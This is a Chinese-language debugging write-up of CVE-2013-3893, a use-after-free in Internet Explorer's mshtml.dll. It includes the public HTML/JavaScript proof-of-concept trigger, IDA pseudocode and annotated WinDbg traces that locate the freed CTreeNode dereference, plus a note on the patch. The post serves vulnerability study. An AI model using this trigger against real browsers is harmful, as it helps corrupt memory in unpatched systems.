• IE漏洞调试之CVE-2013-3893


    前言

    Windows平台的漏洞挖掘和安全研究中,IE始终是绕不开的话题。IE漏洞就跟adobe系列一样经典,是学习exploit、shellcode的绝佳途径。

    在IE漏洞中,UAF即Use-After-Free是最为经典的一类。UAF可以这样简单理解:A先后调用B、C、D三个子函数,B会把A的某个资源释放掉;而D由于判断不严谨即使在B把A的资源释放后依然去引用它,比如某个指针,这时D引用了很危险的悬空指针;C是个什么角色呢?我们可以通过B分配数据。所以利用方法来了:构造奇葩的数据,让A调用B,B把A的某个指针释放掉;接着执行C,C赶紧分配内存,企图使用刚才释放掉的内存,同时我们可以控制这个内存;最后D被调用,由于检查不严格调用了已经释放掉的某指针,而该指针实际上已经被我们重用并且扭曲。漏洞被利用。

    但是学习IE的资料非常少,已知的大都是大牛们逆向mshtml.dll来的,辛辛苦苦得来的东西也不方便马上透露出来,所以自力更生是很重要的。我们希望了解IE运行机制,自己fuzz并找到有价值的漏洞。与此同时,能够调试已公布的漏洞,学习已有的POC,也是很重要的能力。所以这里选择CVE-2013-3893这个经典的UAF来学习IE漏洞的调试。

    工具

    windbg、ida、各版本IE程序、xp/vista/win7/win8虚拟机

    windbg用于动态调试;IDA用于静态分析mshtml.dll——实现IE解释器的dll;各版本IE和windows是必不可少的。 

    基础知识

    出现一个新的漏洞,涉及到的解析过程我们并不一定分析过,所以分析漏洞的同时也是学习浏览器机制的好机会。比如CVE-2013-3893这个漏洞,我们需要了解CTreeNode和元素的关系以及几个关键的函数实现。具体的结合POC和调试过程分析。 

    POC

    <html>
    <script>
    function trigger()
    {
        Math.tan(3,4);
        var id_0 = document.createElement("sup");
        var id_1 = document.createElement("audio");
        Math.sin(0);
        document.body.appendChild(id_0);
        document.body.appendChild(id_1);
        Math.cos(0);
        id_1.applyElement(id_0);
        Math.tan(3,4);
        id_0.onlosecapture=function(e){
            document.write("");
        }
        Math.sin(0); 
        id_0[‘outerText’]="";
        Math.cos(0);
        id_0.setCapture();
        Math.tan(3,4);
        id_1.setCapture();
        Math.sin(0);
    }
    window.onload = function() {
        trigger();
    }
    </script>
    </html>

    调试技巧

    用windbg载入IE时设置jscript!tan、jscript!sin、jscript!cos断点,逐语句分析。也可以将POC页面设置为IE主页,便于直接载入。结合IDA对mshtml.dll分析相关函数。 

    漏洞原理

    id_1.setCapture时,进入CDoc::PumpMessage;获取Element的TreeNode,调用CDoc::ReleaseDetachedCaptures();参数为0调用CDos::SetMouseCapture,进入CDos::ClearMouseCapture,调用CElement::FireEvent,触发事件导致id_0.onlosecapture指定的js函数调用,document.write(“”),该函数将所有对象释放CBodyElement的CTreeNode也被释放。然后返回PumpMessage,CDos::HasContainerCapture被调用,它引用了释放的CTreeNode对象。UAF发生。看下面IDA静态分析的代码。

    int __userpurge CDoc::SetMouseCapture<eax>(int a1<eax>, LPVOID lpMem, int a3, int a4, int a5, int a6, int a7)
    {
      int v7; // ebx@1
      int flag; // edi@1
      int result; // eax@3
      int v10; // esi@9
      int v11; // ecx@16
      int v12; // eax@22
      int v13; // ST14_4@28
      char v14; // [sp+10h] [bp-98h]@21
      int v15; // [sp+14h] [bp-94h]@21
      int v16; // [sp+A4h] [bp-4h]@5
      void *lpMema; // [sp+B0h] [bp+8h]@7
     
      v7 = (int)lpMem;
      flag = a1;
      if ( *((_WORD *)lpMem + 938) & 0x1000 )
        flag = 0;
      if ( flag )
      {
        v16 = (*((_DWORD *)lpMem + 65) >> 2) - 1;
        result = v16;
        if ( v16 < 0 )
          goto LABEL_33;
        v11 = *((_DWORD *)lpMem + 67) + 4 * v16;
        do
        {
          if ( *(_DWORD *)(*(_DWORD *)v11 + 8) == flag )
            break;
          --result;
          v11 -= 4;
        }
        while ( result >= 0 );
        if ( result < 0 )
        {
    LABEL_33:
          result = ATL_malloc(0x10u);
          if ( result )
          {
            result = CElementCapture::CElementCapture(result, a6, a7, a3, a4);
            lpMema = (void *)result;
          }
          else
          {
            lpMema = 0;
          }
          if ( lpMema )
          {
            v10 = CDoc::GetLastCapture(v7);
            if ( v10 && CDoc::HasContainerCapture(v7) )
            {
              CMessage::CMessage(&v14, 0);
              v15 = 533;
              CDoc::PumpMessage(v7, (int)&v14, 0, 0);
              if ( v10 == CDoc::GetLastCapture(v7) )
              {
                v12 = *(_DWORD *)(v10 + 12);
                if ( !(v12 & 2) )
                {
                  if ( !(*(_DWORD *)(*(_DWORD *)(v10 + 8) + 28) & 0x8000000) )
                  {
                    *(_DWORD *)(v10 + 12) = v12 | 2;
                    *(_DWORD *)(v7 + 1876) |= 0x1000u;
                    CElement::FireEvent(&s_propdescCElementonlosecapture, 1, 0, -1, 0, 0);
                    *(_DWORD *)(v7 + 1876) &= 0xFFFFEFFFu;
                  }
                }
              }
              if ( *(_DWORD *)(v7 + 260) & 0xFFFFFFFC )
              {
                if ( v10 == CDoc::GetLastCapture(v7) )
                {
                  CElementCapture::_CElementCapture();
                  CBlockElement::operator delete((LPVOID)v10);
                  CImplPtrAry::Delete(v13, v7 + 256);
                }
                CImplPtrAry::Append();
              }
              else
              {
                CElementCapture::_CElementCapture();
                CBlockElement::operator delete(lpMema);
              }
              result = CMessage::_CMessage();
            }
            else
            {
              result = CImplPtrAry::Append();
              if ( !v10 )
                result = CServer::SetCapture(1);
            }
          }
        }
      }
      else
      {
        result = CDoc::ClearMouseCapture(lpMem, 0);
      }
      return result;}

    调试过程

    0:008> bl
     1 e 633b87ca     0001 (0001)  0:**** jscript!sin
     2 e 633b5cea     0001 (0001)  0:**** jscript!tan
     3 e 633b8820     0001 (0001)  0:**** jscript!Cos

    三个断点下好。根据POC的执行流程来。首先是createElement,我们在CDocument::createElement下断,获取ld_0和ld_1的element对象地址。

    ld_0 element对象地址为 0020aad8。同时可以看到createElement的调用栈。在同一位置下断,获取ld_1的对象地址。

    0:008> bp eip

    Ld_1对象地址为 0021cee8。

    下面的语句:document.body.appendChild(id_0);document.body.appendChild(id_1); 在CElement::appendChild下断。获取element对应的CTreeNode对象。该函数最后调用 mshtml!CMarkup::InsertElementInternal完成操作,在InsertElementInternal内部调用CTreeNode构造函数。

    ld_0 对应的 CTreeNode对象地址为 03291fc8。

    ld_1对应的 CTreeNode对象地址为03292020。

    同时可以发现 CTreeNode->CElement。Element偏移为0。

    0:008> dc 0021cee8
    0021cee8  635db4c8 00000002 00000008 02d14e20  ..]c........ N..
    0021cef8  003bd060 03292020 00000075 00010200  `.;.  ).u.......

    Element偏移0×14为其对应的CTreeNode结构。

    id_1.applyElement(id_0);语句和appendChild执行过程差不多,我猜测appendChild是将两个元素插入DOM树,而applyElement是将id0和id1的CTreeNode对象变成父子关系。

    看看ld0和ld1的对象和CTreeNode对象发生了什么变化:

    之前:

    Ld0 ctreenode
    0:008> dc 03291fc8 l8
    03291fc8  0020aad8 00203f10 ffff0060 ffffffff  .. ..? .`.......
    03291fd8  00000000 00000000 00000000 00000000  ................
     
    Ld1 ctreenode
    0:008> dc 03292020
    03292020  0021cee8 00203f10 ffff0275 ffffffff  ..!..? .u.......
    03292030  00000061 00000000 02da6fe0 02ccd4f8  a........o......

    完成这个操作之后:

    Ld0 ctreenode
    0:008> dc 03291fc8 l8
    03291fc8  0020aad8 00203f10 00020260 00030001  .. ..? .`.......
    03291fd8  00000061 00000000 03292048 02da6ec8  a.......H )..n..
     
    Ld1 ctreenode
    0:008> dc 03292020 l8
    03292020  0021cee8 03291fc8 00020275 00000001  ..!...).u.......
    03292030  00000051 00000000 00000000 03291ff0  Q.............).

     一个疑似链表结构出现。DOM对象也是链接起来的。也说明00203f10是CBodyElement对应的CTreeNode。

    0:008> dc 00203f10 l8
    00203f10  02da6680 00203e60 00016210 00010000  .f..`> ..b......
    00203f20  00000551 00000008 00203e18 03291fd8  Q........> ...).

    接下来是一个设置,ld0的onlosecapture失去聚焦时执行的函数,页面清空。然后id_0['outerText']="";,js不太熟悉,这个操作执行之后id0应该会从DOM树脱离下来。Id1作为儿子也会脱离DOM树。应该是这样。

    Ld1先被release。然后是ld0。

    此时再看ctreenode地址:

    0:008> dc 3291fc8 l8
    03291fc8  0020002e 00000000 ffff0060 ffffffff  .. .....`.......
    03291fd8  00000051 00000000 00000000 00000000  Q...............
     
    0:008> dc 03292020
    03292020  00210039 00000000 ffff0075 ffffffff  9.!.....u.......
    03292030  00000051 00000000 00000000 00000000  Q...............

    已经被释放了。

    然后进入重点SetMouseCapture。Eax = 20aad8。

    mshtml!CDoc::SetMouseCapture:
    635ddca3 8bff            mov     edi,edi
    635ddca5 55              push    ebp
    635ddca6 8bec            mov     ebp,esp
    635ddca8 81ec9c000000    sub     esp,9Ch
    635ddcae 53              push    ebx
    635ddcaf 8b5d08          mov     ebx,dword ptr [ebp+8]
    635ddcb2 66f783540700000010 test  word ptr [ebx+754h],1000h
    635ddcbb 56              push    esi
    635ddcbc 57              push    edi
    635ddcbd 8bf8            mov     edi,eax
    635ddcbf 0f8566f62100    jne     mshtml!CDoc::SetMouseCapture+0x1e (637fd32b)
    635ddcc5 33f6            xor     esi,esi
    635ddcc7 3bfe            cmp     edi,esi
    635ddcc9 0f857d860d00    jne     mshtml!CDoc::SetMouseCapture+0x32 (636b634c) [br=1]
    会跳转:
    636b634c 8b8304010000    mov     eax,dword ptr [ebx+104h]
    636b6352 c1e802          shr     eax,2
    636b6355 48              dec     eax
    636b6356 3bc6            cmp     eax,esi
    636b6358 8945fc          mov     dword ptr [ebp-4],eax
    636b635b 0f8dd16f1400    jge     mshtml!CDoc::SetMouseCapture+0x43 (637fd332)
    636b6361 6a10            push    10h
    636b6363 e85dd0f7ff      call    mshtml!operator new (636333c5)
    636b6368 3bc6            cmp     eax,esi
    636b636a 59              pop     ecx
    636b636b 7466            je      mshtml!CDoc::SetMouseCapture+0x8b (636b63d3)
    636b636d ff7510          push    dword ptr [ebp+10h]
    636b6370 8b4d14          mov     ecx,dword ptr [ebp+14h]
    636b6373 ff750c          push    dword ptr [ebp+0Ch]
    636b6376 8bd7            mov     edx,edi
    636b6378 ff751c          push    dword ptr [ebp+1Ch]
    636b637b ff7518          push    dword ptr [ebp+18h]
    636b637e 50              push    eax
    636b637f e859000000      call    mshtml!CElementCapture::CElementCapture (636b63dd)
    636b6384 894508          mov     dword ptr [ebp+8],eax
    636b6387 397508          cmp     dword ptr [ebp+8],esi
    636b638a 0f844679f2ff    je      mshtml!CDoc::SetMouseCapture+0x1ae (635ddcd6)
    636b6390 8bcb            mov     ecx,ebx
    636b6390 8bcb            mov     ecx,ebx
    636b6392 e8f6e0f3ff      call    mshtml!CDoc::GetLastCapture (635f448d)
    636b6397 8bf0            mov     esi,eax
    636b6399 85f6            test    esi,esi
    636b639b 897510          mov     dword ptr [ebp+10h],esi
    636b639e 0f85b06f1400    jne     mshtml!CDoc::SetMouseCapture+0xab (637fd354)
    636b63a4 8b7d08          mov     edi,dword ptr [ebp+8]
    636b63a7 8db300010000    lea     esi,[ebx+100h]
    636b63ad e88456f8ff      call    mshtml!CImplPtrAry::Append (6363ba36)
    636b63b2 837d1000        cmp     dword ptr [ebp+10h],0
    636b63b6 0f851a79f2ff    jne     mshtml!CDoc::SetMouseCapture+0x1ae (635ddcd6)
    636b63bc 6a01            push    1
    636b63be 8bf3            mov     esi,ebx
    636b63c0 e880d9ffff      call    mshtml!CServer::SetCapture (636b3d45)
    636b63c5 e90c79f2ff      jmp     mshtml!CDoc::SetMouseCapture+0x1ae (635ddcd6)

    相当于走了如下流程:

    if ( v10 && CDoc::HasContainerCapture(v7) ) {
    }
    Else {
    result = CImplPtrAry::Append();
    if ( !v10 )
    result = CServer::SetCapture(1);
    }

    当id1执行SetMouseCapture时,情况就不一样了,这是GetLastCapture不为空。执行如下流程:

    CDoc::PumpMessage(v7, (int)&v14, 0, 0);
     
    636b639e 0f85b06f1400    jne     mshtml!CDoc::SetMouseCapture+0xab (637fd354) [br=1]
    ......
    637fd354 8b7f14          mov     edi,dword ptr [edi+14h] ds:0023:0021cefc=00000000
    637fd357 8bcb            mov     ecx,ebx
    637fd359 e80271dfff      call    mshtml!CDoc::HasContainerCapture (635f4460)
    637fd35e 85c0            test    eax,eax
    637fd360 0f843e90ebff    je      mshtml!CDoc::SetMouseCapture+0x191 (636b63a4)
    637fd366 33ff            xor     edi,edi
    637fd368 57              push    edi
    637fd369 8d8568ffffff    lea     eax,[ebp-98h]
    637fd36f 50              push    eax
    637fd370 e8bdc3efff      call    mshtml!CMessage::CMessage (636f9732)
    637fd375 57              push    edi
    637fd376 57              push    edi
    637fd377 8d8568ffffff    lea     eax,[ebp-98h]
    637fd37d 50              push    eax
    637fd37e 8bcb            mov     ecx,ebx
    637fd380 c7856cffffff15020000 mov dword ptr [ebp-94h],215h
    637fd38a e8386adfff      call    mshtml!CDoc::PumpMessage (635f3dc7)
    637fd38f 8bcb            mov     ecx,ebx

    进入PumpMessage函数。有点类似win32的消息处理。跟一下会走到什么地方。

    敏感调用:

    635f3f68 8b4014          mov     eax,dword ptr [eax+14h]
    635f3f6b 89442410        mov     dword ptr [esp+10h],eax
    635f3f84 57              push    edi
    635f3f85 e815feffff      call    mshtml!CDoc::ReleaseDetachedCaptures (635f3d9f)
    0:008> r eax
    eax=00203f10

    发现eax正是CBodyElement对应的CTreeNode。

    函数内部接着跟,发现这个:

    637fd484 52              push    edx
    637fd485 33c9            xor     ecx,ecx
    637fd487 51              push    ecx
    637fd488 52              push    edx
    637fd489 52              push    edx
    637fd48a 6a01            push    1
    637fd48c 50              push    eax
    637fd48d 33c0            xor     eax,eax
    637fd48f e80f08deff      call    mshtml!CDoc::SetMouseCapture (635ddca3)

    寄存器值:

    0:008> r
    eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=0020aad8 edi=00195de8

    又一次调用SetMouseCapture,这时eax = 0,走的流程我们可以跟一下:

    mshtml!CDoc::SetMouseCapture:
    635ddca3 8bff            mov     edi,edi
    635ddca5 55              push    ebp
    635ddca6 8bec            mov     ebp,esp
    635ddca8 81ec9c000000    sub     esp,9Ch
    635ddcae 53              push    ebx
    635ddcaf 8b5d08          mov     ebx,dword ptr [ebp+8]
    635ddcb2 66f783540700000010 test  word ptr [ebx+754h],1000h
    635ddcbb 56              push    esi
    635ddcbc 57              push    edi
    635ddcbd 8bf8            mov     edi,eax
    635ddcbf 0f8566f62100    jne     mshtml!CDoc::SetMouseCapture+0x1e (637fd32b)
    635ddcc5 33f6            xor     esi,esi
    635ddcc7 3bfe            cmp     edi,esi
    635ddcc9 0f857d860d00    jne     mshtml!CDoc::SetMouseCapture+0x32 (636b634c)
    635ddccf 56              push    esi
    635ddcd0 53              push    ebx
    635ddcd1 e817780400      call    mshtml!CDoc::ClearMouseCapture (636254ed)

    调用ClearMouseCapture,注意此时ld1的SetCapture还没有完成,也就是说焦点依然在ld0。ClearMouseCapture显然会触发document.write那句话。按理说这句话应该把所有对象清除。但是我调试的过程中并没发生异常。继续跟一下。接着在PumpMessage中:

    0:008> r edi
    edi=00203f10
    0:008> r ecx
    ecx=00195de8
    0:008> dc edi
    00203f10  02da00b2 00000000 ffff6410 ffffffff  .........d......
    00203f20  00000571 00000008 00000000 00000000  q...............
    0:008> dc ecx
    00195de8  63633f18 00000014 000000a8 00000000  .?cc............
    00195df8  00000000 6363bcfc 00195de8 00178efc  ......cc.]......
    635f587a 8b7c2410        mov     edi,dword ptr [esp+10h]
    635f587e 8b4c2414        mov     ecx,dword ptr [esp+14h]
    635f5882 e8d9ebffff      call    mshtml!CDoc::HasContainerCapture (635f4460)

    确实CBodyElement对应的CTreeNode不太一样了。

    跟进看看:

    mshtml!CDoc::HasContainerCapture:
    635f4460 8bff            mov     edi,edi
    635f4462 55              push    ebp
    635f4463 8bec            mov     ebp,esp
    635f4465 51              push    ecx
    635f4466 56              push    esi
    635f4467 e821000000      call    mshtml!CDoc::GetLastCapture (635f448d)
    635f446c 8bf0            mov     esi,eax
    635f446e 33c0            xor     eax,eax
    635f4470 3bf8            cmp     edi,eax
    635f4472 0f8430210c00    je      mshtml!CDoc::HasContainerCapture+0x1b (636b65a8)
    635f4478 8b0f            mov     ecx,dword ptr [edi]  ds:0023:00203f10=02da00b2
    635f447a 894dfc          mov     dword ptr [ebp-4],ecx

    这里出问题了应该。CBodyElement查找出现问题。 

    接着跟PumpMessage:

    ecx=00203f10 edi=00203f10

    635f3fd9 8bcf            mov     ecx,edi
    635f3fdb 897c241c        mov     dword ptr [esp+1Ch],edi
    635f3fdf e82eed0600      call    mshtml!CTreeNode::NodeAddRef (63662d12)

    还是跟进看:

    mshtml!CTreeNode::NodeAddRef:
    63662d12 8bff            mov     edi,edi
    63662d14 55              push    ebp
    63662d15 8bec            mov     ebp,esp
    63662d17 51              push    ecx
    63662d18 8365fc00        and     dword ptr [ebp-4],0
    63662d1c e82cffffff      call    mshtml!CTreeNode::AddRef (63662c4d)
    63662d21 f6414002        test    byte ptr [ecx+40h],2
    63662d25 0f855209f9ff    jne     mshtml!CTreeNode::NodeAddRef+0x26 (635f367d)
    63662d2b 8d45fc          lea     eax,[ebp-4]
    63662d2e 50              push    eax
    63662d2f 68e0976363      push    offset mshtml!IID_IUnknown (636397e0)
    63662d34 51              push    ecx
    63662d35 e807000000      call    mshtml!CTreeNode::GetInterface (63662d41)
    63662d3a c9              leave
    63662d3b c3              ret

    代码非常简单 跟进GetInterface看,找到了出问题的代码:

    63662dbe 8b03            mov     eax,dword ptr [ebx]  ds:0023:00203f10=02da00b2
    63662dc0 8b08            mov     ecx,dword ptr [eax]  ds:0023:02da00b2=00000000
    63662dca ff11            call    dword ptr [ecx]

    找到问题了,就是之前把CTreeNode改掉了,导致CBodyElement对象寻址错误。典型的UAF漏洞。

    IE对该漏洞进行补丁,将进入PumpMessage的判断条件修正了一下:如果对象已经不在DOM树上,将不进入PumpMessage。

    补丁前:

    补丁后:

    原文地址:http://www.freebuf.com/vuls/54786.html

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  • 原文地址:https://www.cnblogs.com/milantgh/p/4182982.html
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